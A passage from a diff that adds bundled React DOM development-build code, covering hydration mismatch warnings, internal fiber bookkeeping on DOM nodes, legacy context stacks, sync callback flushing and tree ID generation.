+        function didNotMatchHydratedContainerTextInstance(parentContainer, textInstance, text, isConcurrentMode) {
+          var shouldWarnDev = true;
+          checkForUnmatchedText(textInstance.nodeValue, text, isConcurrentMode, shouldWarnDev);
+        }
+        function didNotMatchHydratedTextInstance(parentType, parentProps, parentInstance, textInstance, text, isConcurrentMode) {
+          if (parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
+            var shouldWarnDev = true;
+            checkForUnmatchedText(textInstance.nodeValue, text, isConcurrentMode, shouldWarnDev);
+          }
+        }
+        function didNotHydrateInstanceWithinContainer(parentContainer, instance) {
+          {
+            if (instance.nodeType === ELEMENT_NODE) {
+              warnForDeletedHydratableElement(parentContainer, instance);
+            } else if (instance.nodeType === COMMENT_NODE)
+              ;
+            else {
+              warnForDeletedHydratableText(parentContainer, instance);
+            }
+          }
+        }
+        function didNotHydrateInstanceWithinSuspenseInstance(parentInstance, instance) {
+          {
+            var parentNode = parentInstance.parentNode;
+            if (parentNode !== null) {
+              if (instance.nodeType === ELEMENT_NODE) {
+                warnForDeletedHydratableElement(parentNode, instance);
+              } else if (instance.nodeType === COMMENT_NODE)
+                ;
+              else {
+                warnForDeletedHydratableText(parentNode, instance);
+              }
+            }
+          }
+        }
+        function didNotHydrateInstance(parentType, parentProps, parentInstance, instance, isConcurrentMode) {
+          {
+            if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
+              if (instance.nodeType === ELEMENT_NODE) {
+                warnForDeletedHydratableElement(parentInstance, instance);
+              } else if (instance.nodeType === COMMENT_NODE)
+                ;
+              else {
+                warnForDeletedHydratableText(parentInstance, instance);
+              }
+            }
+          }
+        }
+        function didNotFindHydratableInstanceWithinContainer(parentContainer, type, props) {
+          {
+            warnForInsertedHydratedElement(parentContainer, type);
+          }
+        }
+        function didNotFindHydratableTextInstanceWithinContainer(parentContainer, text) {
+          {
+            warnForInsertedHydratedText(parentContainer, text);
+          }
+        }
+        function didNotFindHydratableInstanceWithinSuspenseInstance(parentInstance, type, props) {
+          {
+            var parentNode = parentInstance.parentNode;
+            if (parentNode !== null)
+              warnForInsertedHydratedElement(parentNode, type);
+          }
+        }
+        function didNotFindHydratableTextInstanceWithinSuspenseInstance(parentInstance, text) {
+          {
+            var parentNode = parentInstance.parentNode;
+            if (parentNode !== null)
+              warnForInsertedHydratedText(parentNode, text);
+          }
+        }
+        function didNotFindHydratableInstance(parentType, parentProps, parentInstance, type, props, isConcurrentMode) {
+          {
+            if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
+              warnForInsertedHydratedElement(parentInstance, type);
+            }
+          }
+        }
+        function didNotFindHydratableTextInstance(parentType, parentProps, parentInstance, text, isConcurrentMode) {
+          {
+            if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
+              warnForInsertedHydratedText(parentInstance, text);
+            }
+          }
+        }
+        function errorHydratingContainer(parentContainer) {
+          {
+            error("An error occurred during hydration. The server HTML was replaced with client content in <%s>.", parentContainer.nodeName.toLowerCase());
+          }
+        }
+        function preparePortalMount(portalInstance) {
+          listenToAllSupportedEvents(portalInstance);
+        }
+        var randomKey = Math.random().toString(36).slice(2);
+        var internalInstanceKey = "__reactFiber$" + randomKey;
+        var internalPropsKey = "__reactProps$" + randomKey;
+        var internalContainerInstanceKey = "__reactContainer$" + randomKey;
+        var internalEventHandlersKey = "__reactEvents$" + randomKey;
+        var internalEventHandlerListenersKey = "__reactListeners$" + randomKey;
+        var internalEventHandlesSetKey = "__reactHandles$" + randomKey;
+        function detachDeletedInstance(node) {
+          delete node[internalInstanceKey];
+          delete node[internalPropsKey];
+          delete node[internalEventHandlersKey];
+          delete node[internalEventHandlerListenersKey];
+          delete node[internalEventHandlesSetKey];
+        }
+        function precacheFiberNode(hostInst, node) {
+          node[internalInstanceKey] = hostInst;
+        }
+        function markContainerAsRoot(hostRoot, node) {
+          node[internalContainerInstanceKey] = hostRoot;
+        }
+        function unmarkContainerAsRoot(node) {
+          node[internalContainerInstanceKey] = null;
+        }
+        function isContainerMarkedAsRoot(node) {
+          return !!node[internalContainerInstanceKey];
+        }
+        function getClosestInstanceFromNode(targetNode) {
+          var targetInst = targetNode[internalInstanceKey];
+          if (targetInst) {
+            return targetInst;
+          }
+          var parentNode = targetNode.parentNode;
+          while (parentNode) {
+            targetInst = parentNode[internalContainerInstanceKey] || parentNode[internalInstanceKey];
+            if (targetInst) {
+              var alternate = targetInst.alternate;
+              if (targetInst.child !== null || alternate !== null && alternate.child !== null) {
+                var suspenseInstance = getParentSuspenseInstance(targetNode);
+                while (suspenseInstance !== null) {
+                  var targetSuspenseInst = suspenseInstance[internalInstanceKey];
+                  if (targetSuspenseInst) {
+                    return targetSuspenseInst;
+                  }
+                  suspenseInstance = getParentSuspenseInstance(suspenseInstance);
+                }
+              }
+              return targetInst;
+            }
+            targetNode = parentNode;
+            parentNode = targetNode.parentNode;
+          }
+          return null;
+        }
+        function getInstanceFromNode(node) {
+          var inst = node[internalInstanceKey] || node[internalContainerInstanceKey];
+          if (inst) {
+            if (inst.tag === HostComponent || inst.tag === HostText || inst.tag === SuspenseComponent || inst.tag === HostRoot) {
+              return inst;
+            } else {
+              return null;
+            }
+          }
+          return null;
+        }
+        function getNodeFromInstance(inst) {
+          if (inst.tag === HostComponent || inst.tag === HostText) {
+            return inst.stateNode;
+          }
+          throw new Error("getNodeFromInstance: Invalid argument.");
+        }
+        function getFiberCurrentPropsFromNode(node) {
+          return node[internalPropsKey] || null;
+        }
+        function updateFiberProps(node, props) {
+          node[internalPropsKey] = props;
+        }
+        function getEventListenerSet(node) {
+          var elementListenerSet = node[internalEventHandlersKey];
+          if (elementListenerSet === void 0) {
+            elementListenerSet = node[internalEventHandlersKey] = /* @__PURE__ */ new Set();
+          }
+          return elementListenerSet;
+        }
+        var loggedTypeFailures = {};
+        var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;
+        function setCurrentlyValidatingElement(element) {
+          {
+            if (element) {
+              var owner = element._owner;
+              var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
+              ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
+            } else {
+              ReactDebugCurrentFrame$1.setExtraStackFrame(null);
+            }
+          }
+        }
+        function checkPropTypes(typeSpecs, values, location, componentName, element) {
+          {
+            var has2 = Function.call.bind(hasOwnProperty);
+            for (var typeSpecName in typeSpecs) {
+              if (has2(typeSpecs, typeSpecName)) {
+                var error$1 = void 0;
+                try {
+                  if (typeof typeSpecs[typeSpecName] !== "function") {
+                    var err = Error((componentName || "React class") + ": " + location + " type `" + typeSpecName + "` is invalid; it must be a function, usually from the `prop-types` package, but received `" + typeof typeSpecs[typeSpecName] + "`.This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.");
+                    err.name = "Invariant Violation";
+                    throw err;
+                  }
+                  error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, "SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED");
+                } catch (ex) {
+                  error$1 = ex;
+                }
+                if (error$1 && !(error$1 instanceof Error)) {
+                  setCurrentlyValidatingElement(element);
+                  error("%s: type specification of %s `%s` is invalid; the type checker function must return `null` or an `Error` but returned a %s. You may have forgotten to pass an argument to the type checker creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and shape all require an argument).", componentName || "React class", location, typeSpecName, typeof error$1);
+                  setCurrentlyValidatingElement(null);
+                }
+                if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
+                  loggedTypeFailures[error$1.message] = true;
+                  setCurrentlyValidatingElement(element);
+                  error("Failed %s type: %s", location, error$1.message);
+                  setCurrentlyValidatingElement(null);
+                }
+              }
+            }
+          }
+        }
+        var valueStack = [];
+        var fiberStack;
+        {
+          fiberStack = [];
+        }
+        var index = -1;
+        function createCursor(defaultValue) {
+          return {
+            current: defaultValue
+          };
+        }
+        function pop(cursor, fiber) {
+          if (index < 0) {
+            {
+              error("Unexpected pop.");
+            }
+            return;
+          }
+          {
+            if (fiber !== fiberStack[index]) {
+              error("Unexpected Fiber popped.");
+            }
+          }
+          cursor.current = valueStack[index];
+          valueStack[index] = null;
+          {
+            fiberStack[index] = null;
+          }
+          index--;
+        }
+        function push(cursor, value, fiber) {
+          index++;
+          valueStack[index] = cursor.current;
+          {
+            fiberStack[index] = fiber;
+          }
+          cursor.current = value;
+        }
+        var warnedAboutMissingGetChildContext;
+        {
+          warnedAboutMissingGetChildContext = {};
+        }
+        var emptyContextObject = {};
+        {
+          Object.freeze(emptyContextObject);
+        }
+        var contextStackCursor = createCursor(emptyContextObject);
+        var didPerformWorkStackCursor = createCursor(false);
+        var previousContext = emptyContextObject;
+        function getUnmaskedContext(workInProgress2, Component, didPushOwnContextIfProvider) {
+          {
+            if (didPushOwnContextIfProvider && isContextProvider(Component)) {
+              return previousContext;
+            }
+            return contextStackCursor.current;
+          }
+        }
+        function cacheContext(workInProgress2, unmaskedContext, maskedContext) {
+          {
+            var instance = workInProgress2.stateNode;
+            instance.__reactInternalMemoizedUnmaskedChildContext = unmaskedContext;
+            instance.__reactInternalMemoizedMaskedChildContext = maskedContext;
+          }
+        }
+        function getMaskedContext(workInProgress2, unmaskedContext) {
+          {
+            var type = workInProgress2.type;
+            var contextTypes = type.contextTypes;
+            if (!contextTypes) {
+              return emptyContextObject;
+            }
+            var instance = workInProgress2.stateNode;
+            if (instance && instance.__reactInternalMemoizedUnmaskedChildContext === unmaskedContext) {
+              return instance.__reactInternalMemoizedMaskedChildContext;
+            }
+            var context = {};
+            for (var key in contextTypes) {
+              context[key] = unmaskedContext[key];
+            }
+            {
+              var name = getComponentNameFromFiber(workInProgress2) || "Unknown";
+              checkPropTypes(contextTypes, context, "context", name);
+            }
+            if (instance) {
+              cacheContext(workInProgress2, unmaskedContext, context);
+            }
+            return context;
+          }
+        }
+        function hasContextChanged() {
+          {
+            return didPerformWorkStackCursor.current;
+          }
+        }
+        function isContextProvider(type) {
+          {
+            var childContextTypes = type.childContextTypes;
+            return childContextTypes !== null && childContextTypes !== void 0;
+          }
+        }
+        function popContext(fiber) {
+          {
+            pop(didPerformWorkStackCursor, fiber);
+            pop(contextStackCursor, fiber);
+          }
+        }
+        function popTopLevelContextObject(fiber) {
+          {
+            pop(didPerformWorkStackCursor, fiber);
+            pop(contextStackCursor, fiber);
+          }
+        }
+        function pushTopLevelContextObject(fiber, context, didChange) {
+          {
+            if (contextStackCursor.current !== emptyContextObject) {
+              throw new Error("Unexpected context found on stack. This error is likely caused by a bug in React. Please file an issue.");
+            }
+            push(contextStackCursor, context, fiber);
+            push(didPerformWorkStackCursor, didChange, fiber);
+          }
+        }
+        function processChildContext(fiber, type, parentContext) {
+          {
+            var instance = fiber.stateNode;
+            var childContextTypes = type.childContextTypes;
+            if (typeof instance.getChildContext !== "function") {
+              {
+                var componentName = getComponentNameFromFiber(fiber) || "Unknown";
+                if (!warnedAboutMissingGetChildContext[componentName]) {
+                  warnedAboutMissingGetChildContext[componentName] = true;
+                  error("%s.childContextTypes is specified but there is no getChildContext() method on the instance. You can either define getChildContext() on %s or remove childContextTypes from it.", componentName, componentName);
+                }
+              }
+              return parentContext;
+            }
+            var childContext = instance.getChildContext();
+            for (var contextKey in childContext) {
+              if (!(contextKey in childContextTypes)) {
+                throw new Error((getComponentNameFromFiber(fiber) || "Unknown") + '.getChildContext(): key "' + contextKey + '" is not defined in childContextTypes.');
+              }
+            }
+            {
+              var name = getComponentNameFromFiber(fiber) || "Unknown";
+              checkPropTypes(childContextTypes, childContext, "child context", name);
+            }
+            return assign({}, parentContext, childContext);
+          }
+        }
+        function pushContextProvider(workInProgress2) {
+          {
+            var instance = workInProgress2.stateNode;
+            var memoizedMergedChildContext = instance && instance.__reactInternalMemoizedMergedChildContext || emptyContextObject;
+            previousContext = contextStackCursor.current;
+            push(contextStackCursor, memoizedMergedChildContext, workInProgress2);
+            push(didPerformWorkStackCursor, didPerformWorkStackCursor.current, workInProgress2);
+            return true;
+          }
+        }
+        function invalidateContextProvider(workInProgress2, type, didChange) {
+          {
+            var instance = workInProgress2.stateNode;
+            if (!instance) {
+              throw new Error("Expected to have an instance by this point. This error is likely caused by a bug in React. Please file an issue.");
+            }
+            if (didChange) {
+              var mergedContext = processChildContext(workInProgress2, type, previousContext);
+              instance.__reactInternalMemoizedMergedChildContext = mergedContext;
+              pop(didPerformWorkStackCursor, workInProgress2);
+              pop(contextStackCursor, workInProgress2);
+              push(contextStackCursor, mergedContext, workInProgress2);
+              push(didPerformWorkStackCursor, didChange, workInProgress2);
+            } else {
+              pop(didPerformWorkStackCursor, workInProgress2);
+              push(didPerformWorkStackCursor, didChange, workInProgress2);
+            }
+          }
+        }
+        function findCurrentUnmaskedContext(fiber) {
+          {
+            if (!isFiberMounted(fiber) || fiber.tag !== ClassComponent) {
+              throw new Error("Expected subtree parent to be a mounted class component. This error is likely caused by a bug in React. Please file an issue.");
+            }
+            var node = fiber;
+            do {
+              switch (node.tag) {
+                case HostRoot:
+                  return node.stateNode.context;
+                case ClassComponent: {
+                  var Component = node.type;
+                  if (isContextProvider(Component)) {
+                    return node.stateNode.__reactInternalMemoizedMergedChildContext;
+                  }
+                  break;
+                }
+              }
+              node = node.return;
+            } while (node !== null);
+            throw new Error("Found unexpected detached subtree parent. This error is likely caused by a bug in React. Please file an issue.");
+          }
+        }
+        var LegacyRoot = 0;
+        var ConcurrentRoot = 1;
+        var syncQueue = null;
+        var includesLegacySyncCallbacks = false;
+        var isFlushingSyncQueue = false;
+        function scheduleSyncCallback(callback) {
+          if (syncQueue === null) {
+            syncQueue = [callback];
+          } else {
+            syncQueue.push(callback);
+          }
+        }
+        function scheduleLegacySyncCallback(callback) {
+          includesLegacySyncCallbacks = true;
+          scheduleSyncCallback(callback);
+        }
+        function flushSyncCallbacksOnlyInLegacyMode() {
+          if (includesLegacySyncCallbacks) {
+            flushSyncCallbacks();
+          }
+        }
+        function flushSyncCallbacks() {
+          if (!isFlushingSyncQueue && syncQueue !== null) {
+            isFlushingSyncQueue = true;
+            var i2 = 0;
+            var previousUpdatePriority = getCurrentUpdatePriority();
+            try {
+              var isSync = true;
+              var queue = syncQueue;
+              setCurrentUpdatePriority(DiscreteEventPriority);
+              for (; i2 < queue.length; i2++) {
+                var callback = queue[i2];
+                do {
+                  callback = callback(isSync);
+                } while (callback !== null);
+              }
+              syncQueue = null;
+              includesLegacySyncCallbacks = false;
+            } catch (error2) {
+              if (syncQueue !== null) {
+                syncQueue = syncQueue.slice(i2 + 1);
+              }
+              scheduleCallback(ImmediatePriority, flushSyncCallbacks);
+              throw error2;
+            } finally {
+              setCurrentUpdatePriority(previousUpdatePriority);
+              isFlushingSyncQueue = false;
+            }
+          }
+          return null;
+        }
+        var forkStack = [];
+        var forkStackIndex = 0;
+        var treeForkProvider = null;
+        var treeForkCount = 0;
+        var idStack = [];
+        var idStackIndex = 0;
+        var treeContextProvider = null;
+        var treeContextId = 1;
+        var treeContextOverflow = "";
+        function isForkedChild(workInProgress2) {
+          warnIfNotHydrating();
+          return (workInProgress2.flags & Forked) !== NoFlags;
+        }
+        function getForksAtLevel(workInProgress2) {
+          warnIfNotHydrating();
+          return treeForkCount;
+        }
+        function getTreeId() {
+          var overflow = treeContextOverflow;
+          var idWithLeadingBit = treeContextId;
+          var id = idWithLeadingBit & ~getLeadingBit(idWithLeadingBit);
+          return id.toString(32) + overflow;
+        }
+        function pushTreeFork(workInProgress2, totalChildren) {
+          warnIfNotHydrating();
+          forkStack[forkStackIndex++] = treeForkCount;
+          forkStack[forkStackIndex++] = treeForkProvider;
+          treeForkProvider = workInProgress2;
+          treeForkCount = totalChildren;
+        }
+        function pushTreeId(workInProgress2, totalChildren, index2) {
+          warnIfNotHydrating();
+          idStack[idStackIndex++] = treeContextId;
+          idStack[idStackIndex++] = treeContextOverflow;
+          idStack[idStackIndex++] = treeContextProvider;
+          treeContextProvider = workInProgress2;
+          var baseIdWithLeadingBit = treeContextId;
+          var baseOverflow = treeContextOverflow;
+          var baseLength = getBitLength(baseIdWithLeadingBit) - 1;
+          var baseId = baseIdWithLeadingBit & ~(1 << baseLength);
+          var slot = index2 + 1;
+          var length = getBitLength(totalChildren) + baseLength;
+          if (length > 30) {
+            var numberOfOverflowBits = baseLength - baseLength % 5;
+            var newOverflowBits = (1 << numberOfOverflowBits) - 1;
+            var newOverflow = (baseId & newOverflowBits).toString(32);
+            var restOfBaseId = baseId >> numberOfOverflowBits;
+            var restOfBaseLength = baseLength - numberOfOverflowBits;
+            var restOfLength = getBitLength(totalChildren) + restOfBaseLength;
+            var restOfNewBits = slot << restOfBaseLength;
+            var id = restOfNewBits | restOfBaseId;
+            var overflow = newOverflow + baseOverflow;
+            treeContextId = 1 << restOfLength | id;
+            treeContextOverflow = overflow;
+          } else {
+            var newBits = slot << baseLength;
+            var _id = newBits | baseId;
+            var _overflow = baseOverflow;
+            treeContextId = 1 << length | _id;
+            treeContextOverflow = _overflow;
+          }
+        }
+        function pushMaterializedTreeId(workInProgress2) {
+          warnIfNotHydrating();
+          var returnFiber = workInProgress2.return;
+          if (returnFiber !== null) {
+            var numberOfForks = 1;
+            var slotIndex = 0;
+            pushTreeFork(workInProgress2, numberOfForks);
+            pushTreeId(workInProgress2, numberOfForks, slotIndex);
+          }
+        }
+        function getBitLength(number) {
+          return 32 - clz32(number);
+        }
+        function getLeadingBit(id) {
+          return 1 << getBitLength(id) - 1;
+        }
+        function popTreeContext(workInProgress2) {
+          while (workInProgress2 === treeForkProvider) {
+            treeForkProvider = forkStack[--forkStackIndex];
+            forkStack[forkStackIndex] = null;
+            treeForkCount = forkStack[--forkStackIndex];
+            forkStack[forkStackIndex] = null;
+          }
+          while (workInProgress2 === treeContextProvider) {
+            treeContextProvider = idStack[--idStackIndex];
+            idStack[idStackIndex] = null;
+            treeContextOverflow = idStack[--idStackIndex];
+            idStack[idStackIndex] = null;
+            treeContextId = idStack[--idStackIndex];
+            idStack[idStackIndex] = null;
+          }
+        }
+        function getSuspendedTreeContext() {
+          warnIfNotHydrating();
+          if (treeContextProvider !== null) {
+            return {
+              id: treeContextId,
+              overflow: treeContextOverflow
+            };
+          } else {
+            return null;
+          }
+        }
+        function restoreSuspendedTreeContext(workInProgress2, suspendedContext) {
+          warnIfNotHydrating();
+          idStack[idStackIndex++] = treeContextId;
+          idStack[idStackIndex++] = treeContextOverflow;
+          idStack[idStackIndex++] = treeContextProvider;
+          treeContextId = suspendedContext.id;
+          treeContextOverflow = suspendedContext.overflow;
+          treeContextProvider = workInProgress2;
+        }
+        function warnIfNotHydrating() {
+          {
+            if (!getIsHydrating()) {
+              error("Expected to be hydrating. This is a bug in React. Please file an issue.");
+            }
+          }
+        }
+        var hydrationParentFiber = null;
+        var nextHydratableInstance = null;
+        var isHydrating = false;
+        var didSuspendOrErrorDEV = false;
+        var hydrationErrors = null;
+        function warnIfHydrating() {
+          {
+            if (isHydrating) {
+              error("We should not be hydrating here. This is a bug in React. Please file a bug.");
+            }
+          }
+        }
+        function markDidThrowWhileHydratingDEV() {
+          {
+            didSuspendOrErrorDEV = true;
+          }
+        }
+        function didSuspendOrErrorWhileHydratingDEV() {
+          {
+            return didSuspendOrErrorDEV;
+          }
+        }
+        function enterHydrationState(fiber) {
+          var parentInstance = fiber.stateNode.containerInfo;
+          nextHydratableInstance = getFirstHydratableChildWithinContainer(parentInstance);
+          hydrationParentFiber = fiber;
+          isHydrating = true;
+          hydrationErrors = null;
+          didSuspendOrErrorDEV = false;
+          return true;
+        }
+        function reenterHydrationStateFromDehydratedSuspenseInstance(fiber, suspenseInstance, treeContext) {
+          nextHydratableInstance = getFirstHydratableChildWithinSuspenseInstance(suspenseInstance);
+          hydrationParentFiber = fiber;
+          isHydrating = true;
+          hydrationErrors = null;
+          didSuspendOrErrorDEV = false;
+          if (treeContext !== null) {
+            restoreSuspendedTreeContext(fiber, treeContext);
+          }
+          return true;
+        }
+        function warnUnhydratedInstance(returnFiber, instance) {
+          {
+            switch (returnFiber.tag) {
+              case HostRoot: {
+                didNotHydrateInstanceWithinContainer(returnFiber.stateNode.containerInfo, instance);
+                break;
+              }
+              case HostComponent: {
+                var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
+                didNotHydrateInstance(returnFiber.type, returnFiber.memoizedProps, returnFiber.stateNode, instance, isConcurrentMode);
+                break;
+              }
+              case SuspenseComponent: {
+                var suspenseState = returnFiber.memoizedState;
+                if (suspenseState.dehydrated !== null)
+                  didNotHydrateInstanceWithinSuspenseInstance(suspenseState.dehydrated, instance);
+                break;
+              }
+            }
+          }
+        }
+        function deleteHydratableInstance(returnFiber, instance) {
+          warnUnhydratedInstance(returnFiber, instance);
+          var childToDelete = createFiberFromHostInstanceForDeletion();
+          childToDelete.stateNode = instance;
+          childToDelete.return = returnFiber;
+          var deletions = returnFiber.deletions;
+          if (deletions === null) {
+            returnFiber.deletions = [childToDelete];
+            returnFiber.flags |= ChildDeletion;
+          } else {
+            deletions.push(childToDelete);
+          }
+        }
+        function warnNonhydratedInstance(returnFiber, fiber) {
+          {
+            if (didSuspendOrErrorDEV) {
+              return;
+            }
+            switch (returnFiber.tag) {
+              case HostRoot: {
+                var parentContainer = returnFiber.stateNode.containerInfo;
+                switch (fiber.tag) {
+                  case HostComponent:
+                    var type = fiber.type;
+                    var props = fiber.pendingProps;
+                    didNotFindHydratableInstanceWithinContainer(parentContainer, type);
+                    break;
+                  case HostText:
+                    var text = fiber.pendingProps;
+                    didNotFindHydratableTextInstanceWithinContainer(parentContainer, text);
+                    break;
+                }
+                break;
+              }
+              case HostComponent: {
+                var parentType = returnFiber.type;
+                var parentProps = returnFiber.memoizedProps;
+                var parentInstance = returnFiber.stateNode;
+                switch (fiber.tag) {
+                  case HostComponent: {
+                    var _type = fiber.type;
+                    var _props = fiber.pendingProps;
+                    var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
+                    didNotFindHydratableInstance(parentType, parentProps, parentInstance, _type, _props, isConcurrentMode);
+                    break;
+                  }
+                  case HostText: {
+                    var _text = fiber.pendingProps;
+                    var _isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
+                    didNotFindHydratableTextInstance(parentType, parentProps, parentInstance, _text, _isConcurrentMode);
+                    break;
+                  }
+                }
+                break;
+              }
+              case SuspenseComponent: {
+                var suspenseState = returnFiber.memoizedState;
+                var _parentInstance = suspenseState.dehydrated;
+                if (_parentInstance !== null)
+                  switch (fiber.tag) {
+                    case HostComponent:
+                      var _type2 = fiber.type;
+                      var _props2 = fiber.pendingProps;
+                      didNotFindHydratableInstanceWithinSuspenseInstance(_parentInstance, _type2);
+                      break;
+                    case HostText:
+                      var _text2 = fiber.pendingProps;
+                      didNotFindHydratableTextInstanceWithinSuspenseInstance(_parentInstance, _text2);
+                      break;
+                  }
+                break;
+              }
+              default:
+                return;
+            }
+          }
+        }
+        function insertNonHydratedInstance(returnFiber, fiber) {
+          fiber.flags = fiber.flags & ~Hydrating | Placement;
+          warnNonhydratedInstance(returnFiber, fiber);
+        }
+        function tryHydrate(fiber, nextInstance) {
+          switch (fiber.tag) {
+            case HostComponent: {
+              var type = fiber.type;
+              var props = fiber.pendingProps;
+              var instance = canHydrateInstance(nextInstance, type);
+              if (instance !== null) {
+                fiber.stateNode = instance;
+                hydrationParentFiber = fiber;
+                nextHydratableInstance = getFirstHydratableChild(instance);
+                return true;
+              }
+              return false;
+            }
+            case HostText: {
+              var text = fiber.pendingProps;
+              var textInstance = canHydrateTextInstance(nextInstance, text);
+              if (textInstance !== null) {
+                fiber.stateNode = textInstance;
+                hydrationParentFiber = fiber;
+                nextHydratableInstance = null;
+                return true;
+              }
+              return false;
+            }
+            case SuspenseComponent: {
+              var suspenseInstance = canHydrateSuspenseInstance(nextInstance);
+              if (suspenseInstance !== null) {
+                var suspenseState = {
+                  dehydrated: suspenseInstance,
+                  treeContext: getSuspendedTreeContext(),
+                  retryLane: OffscreenLane
+                };
+                fiber.memoizedState = suspenseState;
+                var dehydratedFragment = createFiberFromDehydratedFragment(suspenseInstance);
+                dehydratedFragment.return = fiber;
+                fiber.child = dehydratedFragment;
+                hydrationParentFiber = fiber;
+                nextHydratableInstance = null;
+                return true;
+              }
+              return false;
+            }
+            default:
+              return false;
+          }
+        }
+        function shouldClientRenderOnMismatch(fiber) {
+          return (fiber.mode & ConcurrentMode) !== NoMode && (fiber.flags & DidCapture) === NoFlags;
+        }
+        function throwOnHydrationMismatch(fiber) {
+          throw new Error("Hydration failed because the initial UI does not match what was rendered on the server.");
+        }
+        function tryToClaimNextHydratableInstance(fiber) {
+          if (!isHydrating) {
+            return;
+          }
+          var nextInstance = nextHydratableInstance;
+          if (!nextInstance) {
+            if (shouldClientRenderOnMismatch(fiber)) {
+              warnNonhydratedInstance(hydrationParentFiber, fiber);
+              throwOnHydrationMismatch();
+            }
+            insertNonHydratedInstance(hydrationParentFiber, fiber);
+            isHydrating = false;
+            hydrationParentFiber = fiber;
+            return;
+          }
+          var firstAttemptedInstance = nextInstance;
+          if (!tryHydrate(fiber, nextInstance)) {
+            if (shouldClientRenderOnMismatch(fiber)) {
+              warnNonhydratedInstance(hydrationParentFiber, fiber);
+              throwOnHydrationMismatch();
+            }
+            nextInstance = getNextHydratableSibling(firstAttemptedInstance);
+            var prevHydrationParentFiber = hydrationParentFiber;
+            if (!nextInstance || !tryHydrate(fiber, nextInstance)) {
+              insertNonHydratedInstance(hydrationParentFiber, fiber);
+              isHydrating = false;
+              hydrationParentFiber = fiber;
+              return;
+            }
+            deleteHydratableInstance(prevHydrationParentFiber, firstAttemptedInstance);
+          }
+        }
+        function prepareToHydrateHostInstance(fiber, rootContainerInstance, hostContext) {
+          var instance = fiber.stateNode;
+          var shouldWarnIfMismatchDev = !didSuspendOrErrorDEV;
+          var updatePayload = hydrateInstance(instance, fiber.type, fiber.memoizedProps, rootContainerInstance, hostContext, fiber, shouldWarnIfMismatchDev);
+          fiber.updateQueue = updatePayload;
+          if (updatePayload !== null) {
+            return true;
+          }
+          return false;
+        }
+        function prepareToHydrateHostTextInstance(fiber) {
+          var textInstance = fiber.stateNode;
+          var textContent = fiber.memoizedProps;
+          var shouldUpdate = hydrateTextInstance(textInstance, textContent, fiber);
+          if (shouldUpdate) {
+            var returnFiber = hydrationParentFiber;
+            if (returnFiber !== null) {
+              switch (returnFiber.tag) {
+                case HostRoot: {
+                  var parentContainer = returnFiber.stateNode.containerInfo;
+                  var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
+                  didNotMatchHydratedContainerTextInstance(parentContainer, textInstance, textContent, isConcurrentMode);
+                  break;
+                }
+                case HostComponent: {
+                  var parentType = returnFiber.type;
+                  var parentProps = returnFiber.memoizedProps;
+                  var parentInstance = returnFiber.stateNode;
+                  var _isConcurrentMode2 = (returnFiber.mode & ConcurrentMode) !== NoMode;
+                  didNotMatchHydratedTextInstance(parentType, parentProps, parentInstance, textInstance, textContent, _isConcurrentMode2);
+                  break;
+                }
+              }
+            }
+          }
+          return shouldUpdate;
+        }
+        function prepareToHydrateHostSuspenseInstance(fiber) {
+          var suspenseState = fiber.memoizedState;
+          var suspenseInstance = suspenseState !== null ? suspenseState.dehydrated : null;
+          if (!suspenseInstance) {
+            throw new Error("Expected to have a hydrated suspense instance. This error is likely caused by a bug in React. Please file an issue.");
+          }
+          hydrateSuspenseInstance(suspenseInstance, fiber);
+        }
+        function skipPastDehydratedSuspenseInstance(fiber) {
+          var suspenseState = fiber.memoizedState;
+          var suspenseInstance = suspenseState !== null ? suspenseState.dehydrated : null;
+          if (!suspenseInstance) {
+            throw new Error("Expected to have a hydrated suspense instance. This error is likely caused by a bug in React. Please file an issue.");
+          }
+          return getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance);
+        }
+        function popToNextHostParent(fiber) {
+          var parent = fiber.return;
+          while (parent !== null && parent.tag !== HostComponent && parent.tag !== HostRoot && parent.tag !== SuspenseComponent) {
+            parent = parent.return;
+          }
+          hydrationParentFiber = parent;
+        }
+        function popHydrationState(fiber) {
+          if (fiber !== hydrationParentFiber) {
+            return false;
+          }
+          if (!isHydrating) {
+            popToNextHostParent(fiber);
+            isHydrating = true;
+            return false;
+          }
+          if (fiber.tag !== HostRoot && (fiber.tag !== HostComponent || shouldDeleteUnhydratedTailInstances(fiber.type) && !shouldSetTextContent(fiber.type, fiber.memoizedProps))) {
+            var nextInstance = nextHydratableInstance;
+            if (nextInstance) {
+              if (shouldClientRenderOnMismatch(fiber)) {
+                warnIfUnhydratedTailNodes(fiber);
+                throwOnHydrationMismatch();
+              } else {
+                while (nextInstance) {
+                  deleteHydratableInstance(fiber, nextInstance);
+                  nextInstance = getNextHydratableSibling(nextInstance);
+                }
+              }
+            }
+          }
+          popToNextHostParent(fiber);
+          if (fiber.tag === SuspenseComponent) {
+            nextHydratableInstance = skipPastDehydratedSuspenseInstance(fiber);
+          } else {
+            nextHydratableInstance = hydrationParentFiber ? getNextHydratableSibling(fiber.stateNode) : null;
+          }
+          return true;
+        }
+        function hasUnhydratedTailNodes() {
+          return isHydrating && nextHydratableInstance !== null;
+        }
+        function warnIfUnhydratedTailNodes(fiber) {
+          var nextInstance = nextHydratableInstance;
+          while (nextInstance) {
+            warnUnhydratedInstance(fiber, nextInstance);
+            nextInstance = getNextHydratableSibling(nextInstance);
+          }
+        }
+        function resetHydrationState() {
+          hydrationParentFiber = null;
+          nextHydratableInstance = null;
+          isHydrating = false;
+          didSuspendOrErrorDEV = false;
+        }
+        function upgradeHydrationErrorsToRecoverable() {
+          if (hydrationErrors !== null) {
